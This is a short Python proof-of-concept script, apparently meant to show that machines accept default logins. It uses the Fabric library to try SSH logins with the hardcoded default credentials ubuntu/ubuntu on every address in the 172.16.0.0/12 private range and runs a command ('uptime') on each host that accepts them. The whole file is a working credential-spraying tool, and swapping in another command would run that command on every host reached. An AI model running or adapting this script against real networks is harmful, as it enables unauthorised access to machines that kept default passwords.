poc.py

poc.py

#!/usr/bin/env python
import netaddr
from fabric import api
from fabric.network import disconnect_all

USER = "ubuntu"
PASS = "ubuntu"
NETWORK = "172.16.0.0/12"
CMD = "uptime"

for IP in netaddr.IPNetwork(NETWORK).iter_hosts():
    try:
        api.env.abort_on_prompts=True
        api.env.skip_bad_hosts = True
        api.env.warn_only = True
        api.env.user = USER
        api.env.password = PASS
        api.env.command_timeout = 3 # seconds
        api.env.host_string = str(IP)
        api.run(CMD)
    except:
        print "Error talking to {0}".format(str(IP))
    finally:
        disconnect_all()